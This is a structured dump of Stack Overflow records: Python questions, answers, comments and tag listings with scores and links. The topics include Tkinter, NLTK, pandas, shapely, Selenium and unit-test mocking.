has body: Im trying to create agar.io game in tkinter. Im trying to move a circle with my cursor but i get this error. Exception in Tkinter callback Traceback (most recent call last): File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-tk/Tkinter.py", line 1541, in __call__ return self.func(*args) File "/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7/lib-tk/Tkinter.py", line 592, in callit func(*args) File "/Users/Hari/Desktop/Agario.py", line 32, in move1 g1, g2 = cursor() TypeError: cursor() takes exactly 1 argument (0 given) This is my code. This is not complete i just want to get the key bind for moving my cursor finished and then i will go about moving the circle itself import Tkinter from random import randint tk=Tkinter.Tk() canvas=Tkinter.Canvas(width=1250, height=700) canvas.configure(background='red') frame=canvas.create_rectangle(10,10,1240,690, fill="white") om=canvas.create_oval(50,50,75,75, fill="blue") lis=[] count=0 on=0 def move1(): global lis, count, on count=count+1 if(count%100==0): c1=randint(10,1235) c2=randint(10,685) o=canvas.create_oval(c1,c2,c1+5,c2+5, fill="green") lis1=[] lis1.append(c1) lis1.append(c2) lis1.append(c1+5) lis1.append(c2+5) lis.append(lis1) g1, g2 = cursor() print g1, g2 x1, y1, x2, y2=canvas.coords(om) canvas.after(1,move1) move1() def cursor(event): m1=event.x m2=event.y return m1, m2 tk.bind("&lt;B1-Motion&gt;", cursor) canvas.pack() tk.mainloop()
has title: python tkinter moving circle with cursor
accepted answer: http://stackoverflow.com/a/49493969
has answer: http://stackoverflow.com/a/49493969
tagged with: python
type: AnsweredQuestion

http://stackoverflow.com/q/49563804
has comment: http://stackoverflow.com/comment/86187611
has title: How can I categories Nouns taken from a text file using Python
has comment: http://stackoverflow.com/comment/86137766
tagged with: machine-learning
tagged with: python
tagged with: text-mining
has body: From a business article I want to extract the words that defines the nature of business it is talking about. For example, if the article contains the words like 'Retail Banking' or 'Courier Service' or 'Steel Plant', we can get a get about the business. ` import nltk from nltk.collocations import * from nltk import * import csv from nltk.corpus import stopwords Text=open('bbb_2.txt') t=Text.read().lower().decode('utf8') tokens = nltk.wordpunct_tokenize(t) posTagged=pos_tag(tokens) nnp=[(wrd,tags) for (wrd,tags) in posTagged if tags in ('NNP','NNPS') ]` Here I can extract the Noun entities. But how can I tag them as business-related? For More clarification I am giving an example. example. Let assume this is a part of article `Microsoft Corporation is an American multinational technology company with headquarters in Redmond, Washington. It develops, manufactures, licenses, supports and sells computer software, consumer electronics, personal computers, and services.Its best known software products are the Microsoft Windows line of operating systems, the Microsoft Office suite, and the Internet Explorer and Edge web browsers.` Now the task is to extract type of product Microsoft develops. Simply the answer would be - computer software, consumer electronics, personal computers, and services. The problem is how do I make computer understand this?
has comment: http://stackoverflow.com/comment/86183602
has comment: http://stackoverflow.com/comment/86136054
tagged with: text
has comment: http://stackoverflow.com/comment/86143964
has comment: http://stackoverflow.com/comment/86159690
score: 0
answer count: 0
has comment: http://stackoverflow.com/comment/86253421
has comment: http://stackoverflow.com/comment/86253230
type: Question
type: UnansweredQuestion
tagged with: nltk

http://stackoverflow.com/comment/86149664
score: 1
has text: Is that already the smallest amount of code required to trigger the error?
comment on: http://stackoverflow.com/q/49571007
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49586254
tagged with: http://stackoverflow.com/tag/r
has body: Function combn(x,m) in R generates all combination of the elements x taken m at a time. For instance, t(combn(5,2)) [,1] [,2] [1,] 1 2 [2,] 1 3 [3,] 1 4 [4,] 1 5 [5,] 2 3 [6,] 2 4 [7,] 2 5 [8,] 3 4 [9,] 3 5 [10,] 4 5 How can I have the same result in python? I know scipy.misc.comb gives just the result not the list and I also read this article which seems different and needs a given list at first not just simply two integer numbers.
linked to: http://stackoverflow.com/q/464864
tagged with: python
upvote count: 6
accepted answer: http://stackoverflow.com/a/49586277
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49586277
answer count: 1
downvote count: 0
score: 6
has title: combn function in R equivalent in Python (Generate all combination of n elements)
favorite count: 0
type: Question
tagged with: combinations

http://stackoverflow.com/a/49712685
score: 2
downvote count: 0
type: AcceptedAnswer
has body: You have hit the WSGI encoding dance. Unfortunately, there isn't really a better solution than the one you've already found. As you can see, you are already doing the same as werkzeug (which is the WSGI package used by Flask) to solve this issue. If you wanted, you could use the compatibility functions in that package, but you may find they change without notification being in a private module, so you're probably best off sticking to your own equivalent code.
accepted answer of: http://stackoverflow.com/q/49582386
type: Answer
answers question: http://stackoverflow.com/q/49582386
upvote count: 2

sudo
tags question: http://stackoverflow.com/q/49579485
type: Tag
tag name: sudo

http://stackoverflow.com/comment/85926215
comment on: http://stackoverflow.com/q/49461605
score: 1
type: Comment
type: QuestionComment
has text: @jezrael I believe this is simply a case of poorly worded instructions. The point whoever wrote this was probably simply to point out that in Python 2, `zip` is equivalent to `list(zip(...))` but it wasn't meant as a suggestion to do that

http://stackoverflow.com/q/49494841
downvote count: 0
favorite count: 0
type: Question
has title: Nested object structure in json format
tagged with: http://stackoverflow.com/tag/json
tagged with: python
accepted answer: http://stackoverflow.com/a/49494963
has answer: http://stackoverflow.com/a/49494985
has answer: http://stackoverflow.com/a/49494963
score: 2
has answer: http://stackoverflow.com/a/49495147
type: AnsweredQuestion
answer count: 3
upvote count: 2
has body: The json structure { "categories": [{ "supercategory": "Bottle", "id": 1, "name": "Bottle" }, { "supercategory": "Car", "id": 2, "name": "Car" }] } Is read by the following python script: with open('file.json') as json_data: json_info = json.load(json_data) At some later point, the same script tries to access the data structure in the following way: json_info['1']['name'] json_info['2']['name'] Where the numbers refer to the "id" field in the json structure. Since that code is obviously inconsistent with the json structure: How do I have to change the json structure to make that work? (Assuming I can't change the script).
possible better answer: http://stackoverflow.com/a/49494985

http://stackoverflow.com/comment/86010292
type: QuestionComment
has text: container name and storage account names both are valid. @Thomas
comment on: http://stackoverflow.com/q/49501542
score: 0
type: Comment

http://stackoverflow.com/comment/85984756
comment on: http://stackoverflow.com/q/49489584
score: 0
has text: So the usual way is to let the user decide on his backend. If that is not wanted, you may embed the figure in your GUI and force the user to use it. I can't imagine that anything in between is useful.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/86054311
has text: If you are looking for differences and intersections, use sets. I don't know why you think that that is not much better than a loop: it's a lot more elegant, and mathematically the correct approach.
comment on: http://stackoverflow.com/q/49524189
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86084790
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49538582
score: 0
has text: Hmm.. my setup is: python: 3.5.3 |Anaconda custom (64-bit)| pandas: 0.20.1 ... I'm updating now and seeing if that fixes things

http://stackoverflow.com/q/49458807
tagged with: amazon-web-services
favorite count: 0
type: Question
tagged with: user-defined-functions
has comment: http://stackoverflow.com/comment/85922330
tagged with: amazon-redshift
type: UnansweredQuestion
tagged with: shapely
score: 1
tagged with: python
has body: I have an Amazon Redshift database set up, which contains a table with geographical markers using 3 fields: id, latitude (float), longitude (float). My goal is to write a Python UDF using the shapely library to: Parse a multipolygon in the form of a WKT string, and Return a boolean stating whether the latitude, longitude pair falls inside of this multipolygon I used this script to fetch the shapely library and push it to S3. I am able to execute CREATE LIBRARY with the uploaded zip file, however, when I try to import shapely.wkt in the function, I get the following error: SQL Error [500310] [XX000]: [Amazon](500310) Invalid operation: OSError: (13, 'Permission denied'). Please look at svl_udf_log for more information Using a very simple test function that imports the library, I was able to identify some symptoms: create or replace function f_test (i int) returns int stable as $$ import shapely return i * 2 $$ language plpythonu; Executing SELECT f_test(2) like this, returns a result 4 But if I simply change import shapely to import shapely.wkt, the same error from before is thrown again. It seems like wkt imports geos, which will go to try and find the GEOS library on the system. I assume it's here where the permission error occurs. In geos.py I see that it will look for these files in its own directory, so I tried reuploading the library zip file with those files from my local machine in the right spot, but it doesn't help. A little out of ideas right now as to how to make this work. I found a vague reference online to using shapely in a pure python fashion, but failed to find more information on that. Thanks in advance for any help!
answer count: 0
has title: Amazon Redshift Python UDF with Shapely: permission denied error when trying to use GEOS functions
downvote count: 0
has comment: http://stackoverflow.com/comment/87469181
upvote count: 1

http://stackoverflow.com/q/49492903
type: Question
has comment: http://stackoverflow.com/comment/85989213
has comment: http://stackoverflow.com/comment/85989215
score: -3
tagged with: python
upvote count: 0
type: UnansweredQuestion
has title: I can not display the exact time and date the user enters an input
answer count: 1
downvote count: 3
has answer: http://stackoverflow.com/a/49493873
has body: import datetime import time x = int(input("Enter a number:") I will like to make a program that show the exact time and date an user enters an input.
favorite count: 0

http://stackoverflow.com/a/49446811
type: Answer
answers question: http://stackoverflow.com/q/49445988
has body: #Idea is to link images and txt files then have them mapped to numbers so that you can have random sampling on numbers and then use it for image sampling # You can read all the filenames to a dict, # Using os.lisdir() you can read and filter files imgs_dict = {'img1.png' : 'img1.txt'} #and then create a list with keys imgs_list = imgs_dict.keys() # Now use random import random img_sample_indxs = random.sample(range(1, 100), 40) then continue with copy
score: 0

http://stackoverflow.com/a/49561303
upvote count: 1
accepted answer of: http://stackoverflow.com/q/49559806
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49559806
downvote count: 0
score: 1
has body: First lets address your use of pack() and grid(). Due to how tkinter is set up you cannot use both pack() and grid() on the same widget in a frame or window at one time. You may use for example pack() to pack the main frame and grid() on the widgets inside that frame but you cannot use both in side the frame. If one of your issues is where each widget is located and if it is expanding with the window you can manage all that inside of grid() so we can just use grid() here as its what I prefer when writing up a GUI. Next we need to look at your call to show_frame as you are attempting to show a frame that does not exist in self.frames in the code you have presented us. I have created a new class so your program can be tested with this line of code: self.controller.show_frame("UploadPage") The new class just makes a basic frame with a label in it showing that the frame does rise properly with tkrise(). I did some general clean up as your show_frame method was taking unnecessary steps to raise the frame, your method of importing tkinter is not the best option and some other quality corrections. Instead of using: frame = self.frames[page_name] frame.tkraise() We can simplify this method with just one line like this: self.frames[page_name].tkraise() I have also changed how you are importing tkinter as importing with * can sometimes cause problems if you inadvertently override build in methods. The best option is to import tkinter like this: import tkinter as tk Take a look at the below code and let me know if you have any questions. It should provide the info you need to allow the HomePage frame and UploadPage frame to work as intended. import tkinter as tk class Skeleton(tk.Tk): def __init__(self, f,*args, **kwags): tk.Tk.__init__(self,*args, **kwags) self.title(f) self.container = tk.Frame(self, width=512, height=512) self.container.grid(row=0, column=0, sticky="nsew") self.container.grid_rowconfigure(0, weight=1) self.container.grid_columnconfigure(0, weight=1) self.fr…
type: Answer
has comment: http://stackoverflow.com/comment/86149133

http://stackoverflow.com/comment/86129282
has text: If it were incompatible binaries wouldn't it be consistently causing the `chrome not reachable`, I have gotten that error after updating Chrome before, but it happened every time. All they are doing is opening Chromium themselves and letting it open **once** after automatic updates, and it works. I would think that would lead to another problem since they aren't changing their versions but it works after one **long running** clean open.
comment on: http://stackoverflow.com/a/49550053
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/85951323
type: QuestionComment
has text: https://docs.djangoproject.com/en/2.0/releases/2.0/#simplified-url-routing-syntax . `django.conf.urls` should probably be `django.urls`.
comment on: http://stackoverflow.com/q/49474471
score: 0
type: Comment

http://stackoverflow.com/comment/86193675
type: AnswerComment
has text: [tag:tmux] is also nice for this: create N panes, each for a separate login. Then you can synchronize the panes so that whatever you type into one pane is also entered into all the others. Demo: https://sanctum.geek.nz/arabesque/sync-tmux-panes/
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49593028

http://stackoverflow.com/comment/86066578
comment on: http://stackoverflow.com/q/49530357
has text: The `set` is not used as dictionary keys, the keys are string values as you can see
score: 3
type: Comment
type: QuestionComment

http://stackoverflow.com/a/64768609
score: 8
upvote count: 8
answers question: http://stackoverflow.com/q/49558464
downvote count: 0
type: Answer
has body: As far as I have understood you are searching the functionality of ST_Buffer from postgis, but with separated factors. This is unfortunately not easy to achieve (see one question in the qgis-stack for more on it). But if it already helps to do it with the same factor of x and y (or as a start for a more elaborate algorithm) here you go: One library that makes ST_Buffer function accessible within python is shapely. (If you need more geo-data specific power geoalchemy2 might be the better option. Beware the crs/srid changes in that case) from shapely import geometry import matplotlib.pyplot as plt # your variables coords = [(0, 0), (0, 100), (20, 100), (30, 60), (40, 100), (60, 100), (60, 0), (40, 10), (40, 40), (20, 40), (20, 10)] lines = [[coords[i-1], coords[i]] for i in range(len(coords))] # your factor of 10% # Note: with 20% the polygon becomes a multi-polygon, so a loop for plotting would be needed. factor = 0.1 # code from nathan xs = [i[0] for i in coords] ys = [i[1] for i in coords] x_center = 0.5 * min(xs) + 0.5 * max(xs) y_center = 0.5 * min(ys) + 0.5 * max(ys) min_corner = geometry.Point(min(xs), min(ys)) max_corner = geometry.Point(max(xs), max(ys)) center = geometry.Point(x_center, y_center) shrink_distance = center.distance(min_corner)*factor assert abs(shrink_distance - center.distance(max_corner)) &lt; 0.0001 my_polygon = geometry.Polygon(coords) my_polygon_shrunken = my_polygon.buffer(-shrink_distance) x, y = my_polygon.exterior.xy plt.plot(x,y) x, y = my_polygon_shrunken.exterior.xy plt.plot(x,y) # to net let the image be distorted along the axis plt.axis('equal') plt.show()

http://stackoverflow.com/q/49568491
tagged with: conv-neural-network
has answer: http://stackoverflow.com/a/49580350
downvote count: 2
answer count: 1
tagged with: tensorflow
favorite count: 0
type: Question
upvote count: 2
tagged with: python
has title: How to create my own dataset to train/test a convolutional neural network
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49580350
has body: So here is my question: I want to make my very own dataset using a motion capture camera system to get the ground truth poses and one RGB camera to get images, and then using this as input to my network, train/test a convNet. I have looked around at other datasets for tensorflow, caffe and Matlab. I have viewed the MNIST, Cats/Dogs, Iris, LSP, HumanEva, HumanEva3.6, FLIC, etc. datasets and have viewed and tried to understand their data as best as I can. I have viewed online people trying to make their own datasets. The one thing is usually when you use their datasets as an example, you download a .txt file that already contains the labels. If anyone could please explain to me how to use the image data with the labels to feed it into my network, it would be a tremendous help. I have made code before using tensorflow to input a .txt file into the network and get the correct predicted output. But, my brain is missing something to understand how to input an image with a label. How to I create that dataset?

acoustics
tags question: http://stackoverflow.com/q/49515144
tags question: http://stackoverflow.com/q/49518329
tag name: acoustics
type: Tag

http://stackoverflow.com/q/49456483
tagged with: unit-testing
type: Question
has body: I have the following code @ddt @patch('mymodule.myclass', MagicMock) class MyTest(): @data([val1, val2]) @unpack def test_run(self, val1, val2): ClassA().run(val1, val2) How Do I assert some methods inside mymodule.myclass are called?
tagged with: python
has title: Python Unittest: make sure patched class is called
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49462683
has comment: http://stackoverflow.com/comment/85915848
has answer: http://stackoverflow.com/a/49462683
answer count: 1
tagged with: ddt

http://stackoverflow.com/comment/86200630
has text: no, I want to retrieve os series, ubuntu packages. thank you for your answer
score: 1
comment on: http://stackoverflow.com/q/49596102
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/88943806
type: AnswerComment
score: 0
type: Comment
has text: You also calculate the positions repeteadly (in a loop). Is it possible to get all positions in one calculation?
comment on: http://stackoverflow.com/a/50973739

http://stackoverflow.com/q/49567180
answer count: 2
possible better answer: http://stackoverflow.com/a/49567326
has answer: http://stackoverflow.com/a/49567326
tagged with: tuples
tagged with: indexing
type: AnsweredQuestion
linked to: http://stackoverflow.com/q/5404665
tagged with: nltk
linked to: http://stackoverflow.com/q/15772497
has title: How to access a key in bigram counter dictionary?
tagged with: python
accepted answer: http://stackoverflow.com/a/49568134
tagged with: dictionary
has body: Background: The following code works to perform a toy example of bigram analysis: import nltk from nltk import bigrams from nltk.tokenize import word_tokenize text = "some nice words go here" tokens = word_tokenize(text) bi_tokens = bigrams(tokens) bi_count = {} for token in bi_tokens: if token not in bi_count: bi_count[token] = 1 else: bi_count[token] += 1 Output: print(bi_count) {('go', 'here'): 1, ('nice', 'words'): 1, ('some', 'nice'): 1, ('words', 'go'): 1} Problem: I would like to use the key name (e.g.('go', 'here')) to get the corresponding value (e.g. 1) . I have tried searching http://www.nltk.org/api/nltk.html?highlight=freqdist and also How to access specific element of dictionary of tuples but I have not been able to find the answer. Question: Is there a way to solve my problem by using an nltk method or by any other means?
duplicate of: http://stackoverflow.com/q/5404665
has answer: http://stackoverflow.com/a/49568134
type: Question
score: 0

http://stackoverflow.com/a/49586161
score: 2
upvote count: 2
accepted answer of: http://stackoverflow.com/q/49585607
downvote count: 0
answers question: http://stackoverflow.com/q/49585607
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86214134
has body: For the first link, https://github.com/nlp-compromise/nlp-corpus/blob/master/poe/man_of_crowd.txt, even though it appears that it resolves to a text file resource, it's a HTML page on GitHub, which is why you get HTML code when downloading from this link. As for the second raw link, https://raw.githubusercontent.com/nlp-compromise/nlp-corpus/master/poe/man_of_crowd.txt which actually points to the text file resource, when you download the file using: &gt;&gt; from keras.utils.data_utils import get_file &gt;&gt; path = get_file('man_of_crowd.txt', 'https://raw.githubusercontent.com/nlp-compromise/nlp-corpus/master/poe/man_of_crowd.txt') Downloading data from https://raw.githubusercontent.com/nlp-compromise/nlp-corpus/master/poe/man_of_crowd.txt 16384/20391 [=======================&gt;......] - ETA: 0s It actually downloads as a text file with path: &gt;&gt; print(path) /home/&lt;username&gt;/.keras/datasets/man_of_crowd.txt The keras util function really uses a six wrapper for urllib.request. The code for get_file method can be found at their GitHub repository, here.
type: Answer

http://stackoverflow.com/a/49524163
answers question: http://stackoverflow.com/q/49523991
has comment: http://stackoverflow.com/comment/86206368
has body: I would merge the two frames together using a left join, then filter to show only those rows where time is within the desired start and end period: import pandas as pd # setup the frame df1 = pd.DataFrame( data={ 'month': [1,1,1,1,1,1,1,1,2,2,2,2], 'group': ['A','A','A','B','B','B','C','C','A','A','B','B'], 'time': [10,20,25,5,7,17,30,35,5,10,17,19], 'distance': [100,120,110,90,99,60,200,170,40,27,33,65], }) df2 = pd.DataFrame( data={ 'month': [1,1,1,1,1,2,2,2], 'group': ['A','A','A','B','B','A','A','B'], 'start': [5,15,21,2,10,3,8,10], 'end': [15,21,30,10,20,8,15,20], 'period': [1,2,3,1,2,1,2,1], }) # merge, and filter df = df1.merge(df2, how='left', on=['month','group']) df = df[(df.time &gt;= df.start) &amp; (df.time &lt;= df.end)]'month','group','time','distance','period'.reset_index(drop=True) print df month group time distance period 0 1 A 10 100 1.0 1 1 A 20 120 2.0 2 1 A 25 110 3.0 3 1 B 5 90 1.0 4 1 B 7 99 1.0 5 1 B 17 60 2.0 6 2 A 5 40 1.0 7 2 A 10 27 2.0 8 2 B 17 33 1.0 9 2 B 19 65 1.0 Note that the above frame excludes NaNs. If you want them, update the filter criteria: df[((df.time &gt;= df.start) &amp; (df.time &lt;= df.end)) | (df.period.isnull())]
type: Answer
has comment: http://stackoverflow.com/comment/86084480
score: 0

http://stackoverflow.com/a/49540578
score: 8
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86106124
answers question: http://stackoverflow.com/q/49540188
upvote count: 8
has body: Disable the file picker and call sendKeys on an &lt;input type="file"&gt; which is by design the only type of element allowed to receive/hold a file: # disable the OS file picker browser.execute_script(""" document.addEventListener('click', function(evt) { if (evt.target.type === 'file') evt.preventDefault(); }, true) """) # make an &lt;input type="file"&gt; available browser.find_element_by_id('uploadifive-FileNameUpload')\ .click() # assign the file to the &lt;input type="file"&gt; browser.find_element_by_css_selector('input[type=file]')\ .send_keys('path/to/MyImage.jpeg')
type: Answer
accepted answer of: http://stackoverflow.com/q/49540188
has comment: http://stackoverflow.com/comment/86122009

http://stackoverflow.com/q/49482824
has comment: http://stackoverflow.com/comment/85969670
tagged with: python
score: -1
has title: Python Tkinter For Loop Widget addressing
accepted answer: http://stackoverflow.com/a/49482928
type: AnsweredQuestion
has body: I am practicing creating Tkinter widgets in Python using for loops. But if in some case I need to address a widget created under a for loop, how can I do this? Also, I am confused on how below for loop actually works since it looks like there is only one radio button object created with three copies with different properties. Can someone explain the logic behind how with the same object name we can created three instances? import tkinter as tk #Window definition win = tk.Tk() win.geometry("500x500") #Radio Button Globals colors = ["Blue", "Gold", "Red"] #Radio Button click action def radCall(): radSEL = radVar.get() if radSEL == 0: win.configure(background=COLOR1) elif radSEL == 1: win.configure(background=COLOR2) elif radSEL == 2: win.configure(background=COLOR3) #Radio Button radVar = tk.IntVar() #Radio Button Variable radVar.set(99) #Select non existened value for col in range(3): rad = tk.Radiobutton(win, text=colors[col], variable=radVar, value=col, command=radCall) rad.grid(column=col, row=5, sticky=tk.W) win.mainloop()
has answer: http://stackoverflow.com/a/49482928
tagged with: tkinter
tagged with: for-loop
tagged with: widget
upvote count: 0
answer count: 1
tagged with: loops
downvote count: 1
favorite count: 0
type: Question

http://stackoverflow.com/q/49515470
tagged with: unit-testing
has comment: http://stackoverflow.com/comment/86036098
linked to: http://stackoverflow.com/q/37143597
tagged with: python
has body: I am trying to mock AWS service in python. Usually, I mock AWS service which is defined globally. But is it possible to mock, if it is defined inside the function? eg. def somefunction(replication_region): s3 = boto3.client("s3", region_name=replication_region) This is a common function, which will be invoked if there are replication region is present for s3, if replication region is not present, then only one region will be executed. So this variable is not defined globally.
type: Question
has title: mocking a aws service inside a function in python
has comment: http://stackoverflow.com/comment/86038927
answer count: 0
type: UnansweredQuestion
score: 0
has comment: http://stackoverflow.com/comment/86036080
has comment: http://stackoverflow.com/comment/86036144
has comment: http://stackoverflow.com/comment/86036184

http://stackoverflow.com/a/49751037
answers question: http://stackoverflow.com/q/49581907
has body: You should be able to solve the issue by introducing an intermediate base class for your Mytable. For example: Base = declarative_base() metadata = Base.metadata class IntermediateBase(type(Base), BaseAbstract): pass class Mytable(IntermediateBase): __tablename__ = 'myTable' id = Column(Integer, primary_key=True) firstNum = Column(Integer, nullable=False) secondNum = Column(Integer, nullable=False)
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/86540108

http://stackoverflow.com/comment/85994994
type: Comment
has text: Did you try with reuse=None ?
type: QuestionComment
comment on: http://stackoverflow.com/q/49457088
score: 0

http://stackoverflow.com/comment/86124949
type: Comment
comment on: http://stackoverflow.com/q/49558388
type: QuestionComment
has text: @FlyingTeller u r right. I am trying to compare every single values in the array
score: 0

http://stackoverflow.com/comment/85937072
type: AnswerComment
has text: your answer work perfect ..... but i tried to add a code that add the selected item to a new list but did not work it display these error **File "C:\Users\test\Documents\Python_Projects\final_project\myPDFviewer.py", line 126, in <module> sys.exit(app.exec_()) File "C:\Users\test\Documents\Python_Projects\final_project\myPDFviewer.py", line 36, in print_item self.listWidgetPDFlist.currentItem(self.listWidget.addItem()) builtins.TypeError: arguments did not match any overloaded call: addItem(self, QListWidgetItem): not enough arguments addItem(self, str): not enough arguments**
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49466809

oauth-2.0
type: Tag
tag name: oauth-2.0
tags question: http://stackoverflow.com/q/49460807
tags question: http://stackoverflow.com/q/49527135

http://stackoverflow.com/comment/86006963
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49500899
has text: @William yeah I tried using small values of learning rate it does works but not to the best, but still the initial value of thetas messes all up. By the way, can u suggest me any other optimization method?
type: Comment

relationship
tag name: relationship
type: Tag
tags question: http://stackoverflow.com/q/49549046

http://stackoverflow.com/comment/85889506
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/49443513
has text: Do you have lists in B column same length?

machine-learning
type: Tag
tags question: http://stackoverflow.com/q/49571666
tags question: http://stackoverflow.com/q/49495297
tags question: http://stackoverflow.com/q/49597671
tags question: http://stackoverflow.com/q/49474091
tags question: http://stackoverflow.com/q/49544509
tags question: http://stackoverflow.com/q/49509575
tags question: http://stackoverflow.com/q/49598559
tags question: http://stackoverflow.com/q/49593985
tags question: http://stackoverflow.com/q/49523927
tags question: http://stackoverflow.com/q/49569568
tags question: http://stackoverflow.com/q/49564126
tags question: http://stackoverflow.com/q/49525056
tags question: http://stackoverflow.com/q/49545570
tags question: http://stackoverflow.com/q/49583466
tags question: http://stackoverflow.com/q/49581104
tags question: http://stackoverflow.com/q/49496403
tags question: http://stackoverflow.com/q/49556680
tags question: http://stackoverflow.com/q/49473288
tags question: http://stackoverflow.com/q/49563804
tags question: http://stackoverflow.com/q/49466563
tags question: http://stackoverflow.com/q/49467127
tags question: http://stackoverflow.com/q/49583041
tags question: http://stackoverflow.com/q/49466944
tags question: http://stackoverflow.com/q/49596937
tags question: http://stackoverflow.com/q/49531731
tags question: http://stackoverflow.com/q/49506635
tags question: http://stackoverflow.com/q/49592049
tags question: http://stackoverflow.com/q/49474467
tags question: http://stackoverflow.com/q/49471437
tags question: http://stackoverflow.com/q/49453535
tags question: http://stackoverflow.com/q/49584365
tags question: http://stackoverflow.com/q/49514284
tags question: http://stackoverflow.com/q/49501181
tags question: http://stackoverflow.com/q/49592565
tags question: http://stackoverflow.com/q/49596618
tags question: http://stackoverflow.com/q/49503748
tags question: http://stackoverflow.com/q/49564185
tags question: http://stackoverflow.com/q/49545186
tags question: http://stackoverflow.com/q/49464636
tags question: http://stackoverflow.com/q/49547715
tags question: http://stackoverflow.com/q/49448230
tags question: http://stackoverflow.com/q/49567318
tags question: http://stackoverflow.com/q/49513018
tags question: http://stackoverflow.com/q/49447174
tags question: http://stackoverflow.com/q/49465891
tags question: http://stackoverflow.com/q/49445588
tags question: http://stackoverflow.com/q/49510882
tags question: http://stackoverflow.com/q/49465706
tags question: http://stackoverflow.com/q/49554983
tags question: http://stackoverflow.com/q/49585758
tags question: http://stackoverflow.com/q/49573081
tags question: http://stackoverflow.com/q/49543049
tags question: http://stackoverflow.com/q/49500313
tags question: http://stackoverflow.com/q/49450626
tags question: http://stackoverflow.com/q/49498706
tags question: http://stackoverflow.com/q/49510843
tags question: http://stackoverflow.com/q/49455647
tags question: http://stackoverflow.com/q/49546211
tags question: http://stackoverflow.com/q/49456380
tags question: http://stackoverflow.com/q/49560681
tags question: http://stackoverflow.com/q/49501372
tags question: http://stackoverflow.com/q/49458902
tags question: http://stackoverflow.com/q/49542914
tags question: http://stackoverflow.com/q/49466193
tags question: http://stackoverflow.com/q/49504137
tags question: http://stackoverflow.com/q/49561882
tags question: http://stackoverflow.com/q/49456415
tags question: http://stackoverflow.com/q/49549364
tags question: http://stackoverflow.com/q/49466393
tags question: http://stackoverflow.com/q/49506843
tags question: http://stackoverflow.com/q/49457096
tags question: http://stackoverflow.com/q/49445111
tags question: http://stackoverflow.com/q/49473587
tags question: http://stackoverflow.com/q/49545502
tags question: http://stackoverflow.com/q/49519282
tags question: http://stackoverflow.com/q/49565476
tag name: machine-learning
tags question: http://stackoverflow.com/q/49476287
tags question: http://stackoverflow.com/q/49572089

http://stackoverflow.com/a/49516313
has comment: http://stackoverflow.com/comment/86462800
downvote count: 1
type: Answer
has comment: http://stackoverflow.com/comment/86146339
has comment: http://stackoverflow.com/comment/86144408
has comment: http://stackoverflow.com/comment/86145592
answers question: http://stackoverflow.com/q/49503046
has comment: http://stackoverflow.com/comment/86176910
has comment: http://stackoverflow.com/comment/86181207
has body: As you have choosen to use Python’s unittest here is the relevant info: import unittest: You need to import the required unittest module as a mandatory measure. class Iframe(unittest.TestCase):: The testcase class is inherited from unittest.TestCase. Inheriting from TestCase class is the way to tell the unittest module that this is a testcase. def setUp(self):: The setUp is the part of initialization and this method will get called before every test function which you are going to write in this testcase class. def test_Iframe(self):: This is the actual testcase method. The testcase method should always start with the characters test. def tearDown(self):: The tearDown method will get called after every test method. This is the method to do all the cleanup actions. if __name__ == '__main__':: This line sets the __name__ variable to have a value "__main__". If this file is being imported from another module then __name__ will be set to the other module's name. You will find a detailed discussion in What does if name == "main": do? unittest.main(): Invokes the test functions from the configured module. Note A: For more details see Using Selenium to write tests and Walk through of the example Note B: Refer A module's name for complete details. Why self The first argument of every class method, including init is always a reference to the current instance of the class. By convention, this argument is always named self. In the init method, self refers to the newly created object while in other class methods, it refers to the instance whose method was called. Trivia The self variable in python explained
score: 2
upvote count: 3

http://stackoverflow.com/comment/85965866
comment on: http://stackoverflow.com/q/49481163
score: 0
type: QuestionComment
has text: That's the problem - it seems like tkinter has not been installed (properly). Try reinstalling.
type: Comment

http://stackoverflow.com/comment/86025983
score: 1
type: Comment
type: QuestionComment
has text: You can remove everything not using the Latin alphabet, but for the rest, are you prepared to remove all English misspellings too?
comment on: http://stackoverflow.com/q/49510935

http://stackoverflow.com/q/49510042
tagged with: python
has answer: http://stackoverflow.com/a/49514584
